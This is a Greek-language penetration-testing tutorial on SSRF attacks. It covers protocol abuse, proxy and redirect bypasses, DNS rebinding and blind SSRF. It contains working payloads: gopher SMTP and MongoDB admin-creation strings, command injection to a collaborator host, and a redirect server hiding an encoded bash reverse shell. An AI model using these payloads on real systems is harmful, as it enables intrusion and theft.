SSRF (Server Side Request Forgery)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας attacker χειραγωγεί μια server-side application ώστε να κάνει HTTP requests σε domain της επιλογής του. Αυτή η ευπάθεια εκθέτει τον server σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον attacker.

Καταγραφή SSRF

Το πρώτο που πρέπει να κάνεις είναι να καταγράψεις μια SSRF αλληλεπίδραση που έχεις δημιουργήσει. Για να καταγράψεις μια HTTP ή DNS αλληλεπίδραση μπορείς να χρησιμοποιήσεις εργαλεία όπως:

Whitelisted Domains Bypass

Συνήθως θα διαπιστώσεις ότι το SSRF λειτουργεί μόνο σε ορισμένα whitelisted domains ή URL. Στην επόμενη σελίδα υπάρχει μια συλλογή τεχνικών για να προσπαθήσεις να παρακάμψεις αυτή τη whitelist:

URL Format Bypass

Bypass via open redirect

Αν ο server είναι σωστά προστατευμένος μπορείς να παρακάμψεις όλους τους περιορισμούς εκμεταλλευόμενος ένα Open Redirect μέσα στη σελίδα. Εφόσον η webpage θα επιτρέπει SSRF στο ίδιο domain και πιθανότατα θα ακολουθεί redirects, μπορείς να εκμεταλλευτείς το Open Redirect για να αναγκάσεις τον server να προσπελάσει εσωτερικούς πόρους.
Read more here: https://portswigger.net/web-security/ssrf

Πρωτόκολλα

  • file://
  • Το URL scheme file:// αναφέρεται, δεικνύοντας απευθείας το /etc/passwd: file:///etc/passwd
  • dict://
  • Το DICT URL scheme περιγράφεται ότι χρησιμοποιείται για πρόσβαση σε definitions ή word lists μέσω του DICT protocol. Το παράδειγμα δείχνει ένα κατασκευασμένο URL που στοχεύει μια συγκεκριμένη λέξη, database και αριθμό εγγραφής, καθώς και ένα παράδειγμα ενός PHP script που θα μπορούσε να χρησιμοποιηθεί για σύνδεση σε DICT server χρησιμοποιώντας attacker-provided credentials: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Αναφέρεται ως πρωτόκολλο για secure file transfer πάνω από secure shell, με ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για σύνδεση σε κακόβουλο SFTP server: url=sftp://generic.com:11111/
  • TFTP://
  • Το Trivial File Transfer Protocol, που λειτουργεί πάνω από UDP, αναφέρεται με ένα παράδειγμα ενός PHP script σχεδιασμένου να στείλει ένα αίτημα σε TFTP server. Ένα TFTP αίτημα γίνεται προς ‘generic.com’ στην πόρτα ‘12346’ για το αρχείο ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Αυτή η ενότητα καλύπτει το Lightweight Directory Access Protocol, επισημαίνοντας τη χρήση του για διαχείριση και πρόσβαση σε distributed directory information services μέσω IP networks. Επικοινωνία με LDAP server στο localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Περιγράφεται μια μέθοδος για εκμετάλλευση SSRF ευπαθειών ώστε να αλληλεπιδράσεις με SMTP services στο localhost, περιλαμβάνοντας βήματα για να αποκαλύψεις εσωτερικά domain names και περαιτέρω ενέργειες έρευνας βασισμένες σε αυτές τις πληροφορίες.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Εάν το SSRF εκτελείται από curl, το curl έχει μια δυνατότητα που ονομάζεται URL globbing η οποία θα μπορούσε να είναι χρήσιμη για bypass WAFs. Για παράδειγμα σε αυτό το writeup μπορείτε να βρείτε αυτό το παράδειγμα για ένα path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Το πρωτόκολλο Gopher έχει τη δυνατότητα να καθορίζει την IP, port και bytes για την επικοινωνία με τον server, και αναφέρονται εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία payloads. Εικονογραφούνται δύο ξεχωριστές χρήσεις:

Gopher://

Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε τα IP, port και bytes που θέλετε ο server να στείλει. Στη συνέχεια, ουσιαστικά μπορείτε να εκμεταλλευτείτε μια SSRF για να επικοινωνήσετε με οποιονδήποτε TCP server (αλλά πρέπει πρώτα να ξέρετε πώς να μιλήσετε με την υπηρεσία).\
Ευτυχώς, μπορείτε να χρησιμοποιήσετε Gopherus για να δημιουργήσετε payloads για διάφορες υπηρεσίες. Επιπλέον, remote-method-guesser μπορεί να χρησιμοποιηθεί για τη δημιουργία gopher payloads για υπηρεσίες Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Δημιουργία χρήστη με username=admin, password=admin123 και permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF μέσω Referrer header & Άλλα

Το λογισμικό ανάλυσης σε διακομιστές συχνά καταγράφει το Referrer header για να παρακολουθεί εισερχόμενους συνδέσμους, μια πρακτική που αθέλητα εκθέτει εφαρμογές σε Server-Side Request Forgery (SSRF) ευπάθειες. Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκέπτεται εξωτερικά URLs που αναφέρονται στο Referrer header για να αναλύσει το περιεχόμενο των referral sites. Για να αποκαλυφθούν αυτές οι ευπάθειες, συνιστάται το Burp Suite plugin “Collaborator Everywhere”, το οποίο εκμεταλλεύεται τον τρόπο με τον οποίο τα εργαλεία ανάλυσης επεξεργάζονται το Referer header για να εντοπίσει πιθανούς SSRF attack surfaces.

SSRF μέσω SNI δεδομένων από πιστοποιητικό

Μια εσφαλμένη ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση σε οποιοδήποτε backend μέσω μιας απλής παραμετροποίησης απεικονίζεται με ένα παράδειγμα διαμόρφωσης Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως η διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλώς καθορίζοντας τη ζητούμενη διεύθυνση IP ή όνομα domain στο πεδίο SNI. Παρακάτω δίνεται ένα παράδειγμα εκμετάλλευσης για να αναγκαστεί η σύνδεση σε ένα αυθαίρετο backend, όπως το internal.host.com, χρησιμοποιώντας την εντολή openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF μέσω TLS AIA CA Issuers (Java mTLS)

Ορισμένες στοίβες TLS θα κατεβάσουν αυτόματα τυχόν ελλείποντα ενδιάμεσα CA χρησιμοποιώντας το Authority Information Access (AIA) → CA Issuers URI μέσα στο πιστοποιητικό του peer. Στην Java, η ενεργοποίηση του -Dcom.sun.security.enableAIAcaIssuers=true όταν τρέχει μια υπηρεσία mTLS κάνει τον server να αποδεσμεύει (dereference) URI που ελέγχονται από τον attacker από το client certificate κατά το handshake, πριν εκτελεστεί οποιαδήποτε HTTP λογική.

  • Απαιτήσεις: mTLS ενεργοποιημένο, Java AIA fetching ενεργοποιημένο, attacker μπορεί να παρουσιάσει ένα client cert με ένα κατασκευασμένο AIA CA Issuers URI.
  • Πρόκληση SSRF (παράδειγμα Java 21):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Η έξοδος debug του Java certpath δείχνει CertStore URI:http://localhost:8080, και το nc καταγράφει το HTTP αίτημα με το ελεγχόμενο User-Agent από -Dhttp.agent, αποδεικνύοντας SSRF κατά την επικύρωση του πιστοποιητικού.

  • DoS via file://: η ρύθμιση του AIA CA Issuers σε file:///dev/urandom σε συστήματα τύπου Unix κάνει την Java να το χειρίζεται ως CertStore και να διαβάζει απεριόριστα τυχαία bytes, κρατώντας έναν πυρήνα CPU απασχολημένο και μπλοκάροντας επόμενες συνδέσεις ακόμη και μετά την αποσύνδεση του client.

SSRF μέσω Προεπεξεργαστών CSS

LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, functions και την ισχυρή οδηγία @import. Κατά τη μεταγλώττιση, ο engine του LESS θα fetch τα resources που αναφέρονται σε δηλώσεις @import και θα ενσωματώσει (“inline”) τα περιεχόμενά τους στο τελικό CSS όταν χρησιμοποιείται η επιλογή (inline).

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF με Command Injection

Αξίζει να δοκιμάσετε ένα payload όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDF Rendering

Αν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παράσχει, μπορείτε να εισάγετε κάποιο JS που θα εκτελεστεί από τον δημιουργό του PDF ο ίδιος (τον server) κατά τη δημιουργία του PDF και θα μπορέσετε να καταχραστείτε ένα SSRF. Find more information here.

Από SSRF σε DoS

Δημιουργήστε πολλές συνεδρίες και δοκιμάστε να κατεβάσετε μεγάλα αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.

SSRF PHP Functions

Δείτε την παρακάτω σελίδα για ευάλωτες PHP και ακόμα Wordpress functions:

PHP SSRF

SSRF Ανακατεύθυνση σε Gopher

Για κάποιες εκμεταλλεύσεις μπορεί να χρειαστεί να στείλετε μια απάντηση ανακατεύθυνσης (ενδεχομένως για να χρησιμοποιήσετε ένα διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διάφορους python κώδικες για να απαντήσετε με ανακατεύθυνση:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Λανθασμένα διαμορφωμένοι proxies για SSRF

Κόλπα από αυτήν την ανάρτηση.

Flask

Ευάλωτος Flask proxy code ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask επιτρέπει τη χρήση του **`@`** ως αρχικού χαρακτήρα, κάτι που επιτρέπει να γίνει το **initial host name the username** και να inject ένα καινούργιο. Αίτημα επίθεσης:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Vulnerable code:

Ανακαλύφθηκε ότι είναι δυνατό να ξεκινήσει το path ενός αιτήματος με τον χαρακτήρα ;, που επιτρέπει στη συνέχεια τη χρήση του @ και την έγχυση ενός νέου host για πρόσβαση. Αίτημα επίθεσης:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Ενσωματωμένος Web Server του PHP

Ευάλωτος PHP κώδικας ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP επιτρέπει τη χρήση του χαρακτήρα **`*` πριν από ένα slash στο path** του URL, ωστόσο έχει κι άλλους περιορισμούς, όπως ότι μπορεί να χρησιμοποιηθεί μόνο για το root pathname `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από το πρώτο slash, οπότε χρειάζεται να χρησιμοποιηθεί για παράδειγμα μια dotless-hex encoded IP address:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Reverse proxies που δέχονται απόλυτα URLs στη γραμμή του αιτήματος (open forward-proxy)

Κάποιοι reverse proxies δέχονται επίσης absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) και προωθούν το URL ως έχει προς ένα backend αντί να το απορρίψουν ή να το ξαναγράψουν στο ρυθμισμένο upstream. Αυτό μετατρέπει τον reverse proxy σε pre-auth forward proxy with full-read SSRF, συμπεριλαμβάνοντας πρόσβαση σε υπηρεσίες που δεσμεύονται στο localhost και κανονικά θα ήταν απρόσιτες από το Internet.

Βασικά σημεία:

  • Η γραμμή αιτήματος ελέγχει τον προορισμό: το authority στο απόλυτο URL υπερισχύει της κανονικής δρομολόγησης· το Host header συνήθως αγνοείται.
  • Επιστρέφεται ολόκληρη η απάντηση: οι απαντήσεις από εσωτερικούς hosts ρέουν πίσω, έτσι μπορείτε να εντοπίσετε και να αλληλεπιδράσετε (π.χ., SOAP/Axis2, Keycloak, admin consoles) αντί για blind-probing.
  • Λειτουργεί στο localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n αρκεί για να χτυπήσει listeners που δεσμεύονται μόνο στο loopback.
  • Κατάχρηση ως pivot: συνδυάστε με άλλες vulns (π.χ., upload endpoints) για να προσεγγίσετε intra-host services.

Ελάχιστη δοκιμή:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

If you see the upstream response instead of a 400, the appliance is acting as an open proxy.

DNS Rebidding CORS/SOP bypass

Αν έχετε προβλήματα να exfiltrate content from a local IP λόγω του CORS/SOP, το DNS Rebidding μπορεί να χρησιμοποιηθεί για να παρακάμψει αυτόν τον περιορισμό:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin είναι ένα εργαλείο για την εκτέλεση επιθέσεων DNS rebinding. Περιλαμβάνει τα απαραίτητα components για να rebind το IP address του attack server DNS name στην IP address του target machine και να σερβίρει attack payloads για να εκμεταλλευτεί ευάλωτο λογισμικό στον target machine.

Δείτε επίσης τον publicly running server in http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Απαιτήσεις:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Επίθεση:

  1. Ζητήστε από τον χρήστη/bot να access ένα domain που ελέγχεται από τον attacker
  2. Η TTL του DNS είναι 0 sec (οπότε το θύμα θα ελέγξει ξανά το IP του domain σύντομα)
  3. Δημιουργείται μια TLS connection μεταξύ του θύματος και του domain του attacker. Ο attacker εισάγει το payload μέσα στο Session ID ή Session Ticket.
  4. Το domain θα ξεκινήσει ένα infinite loop ανακατευθύνσεων εναντίον του ίδιου. Ο στόχος αυτού είναι να κάνει τον χρήστη/bot να προσπελάσει το domain μέχρι να εκτελέσει ξανά ένα DNS request για το domain.
  5. Στο DNS request δίνεται τώρα μια private IP διεύθυνση (127.0.0.1 για παράδειγμα)
  6. Ο χρήστης/bot θα προσπαθήσει να reestablish the TLS connection και για να το κάνει θα στείλει το Session ID/Ticket ID (όπου περιείχετο το payload του attacker). Έτσι, συγχαρητήρια — τα καταφέρατε να κάνετε τον user/bot να επιτεθεί στον ίδιο του τον εαυτό.

Σημειώστε ότι κατά τη διάρκεια αυτής της επίθεσης, αν θέλετε να επιτεθείτε στο localhost:11211 (memcache) πρέπει να κάνετε το θύμα να καθιερώσει την αρχική σύνδεση με www.attacker.com:11211 (η port must always be the same).
Για να perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
Για περισσότερες πληροφορίες ρίξτε μια ματιά στην ομιλία όπου αυτή η επίθεση εξηγείται: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Η διαφορά μεταξύ ενός blind SSRF και ενός μη-blind είναι ότι στο blind δεν μπορείτε να δείτε την απάντηση του SSRF request. Συνεπώς, είναι πιο δύσκολο να εκμεταλλευτείτε γιατί θα μπορείτε να εκμεταλλευτείτε μόνο καλά-γνωστές ευπάθειες.

Time based SSRF

Ελέγχοντας τον χρόνο των απαντήσεων από τον server μπορεί να είναι δυνατό να γνωρίζετε αν ένας resource υπάρχει ή όχι (ίσως χρειάζεται περισσότερο χρόνο η πρόσβαση σε έναν υπάρχοντα πόρο από την πρόσβαση σε έναν που δεν υπάρχει)

From blid to full abusing status codes

Σύμφωνα με αυτό το blog post, κάποια blind SSRF μπορεί να συμβεί επειδή, ακόμα κι αν το στοχευμένο URL απαντήσει με 200 status code (όπως τα AWS metadata), αυτά τα data δεν είναι σωστά μορφοποιημένα και επομένως η εφαρμογή μπορεί να αρνηθεί να τα εμφανίσει.

Ωστόσο, διαπιστώθηκε ότι στέλνοντας κάποιες redirect responses από 305 έως 309 στο SSRF, μπορεί να γίνει δυνατό να κάνετε την εφαρμογή να ακολουθήσει αυτά τα redirects ενώ εισέρχεται σε ένα error mode που δεν θα ελέγχει πλέον το format των δεδομένων και ενδέχεται απλώς να τα εκτυπώσει.

Ο python server που χρησιμοποιείται για να εκμεταλλευτεί αυτό είναι ο ακόλουθος:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Βήματα:

  • Αρχικά το 302 κάνει την εφαρμογή να αρχίσει να ακολουθεί.
  • Έπειτα δέχεται 305 → 306 → 307 → 308 → 309 → 310.
  • Μετά τον 5ο περίεργο κωδικό το PoC τελικά επιστρέφει 302 → 169.254.169.254 → 200 OK.

Τι συμβαίνει στο στόχο:

  • libcurl από μόνο του ακολουθεί 305–310· απλώς κανονικοποιεί άγνωστους κωδικούς σε “follow.”
  • Μετά από N περίεργες ανακατευθύνσεις (≥ 5 εδώ) ο ίδιος ο wrapper της εφαρμογής αποφασίζει “κάτι δεν πάει καλά” και μεταβαίνει σε λειτουργία σφάλματος προορισμένη για αποσφαλμάτωση.
  • Σε αυτή τη λειτουργία εξάγει ολόκληρη την αλυσίδα ανακατευθύνσεων καθώς και το τελικό σώμα πίσω στον εξωτερικό καλούντα.
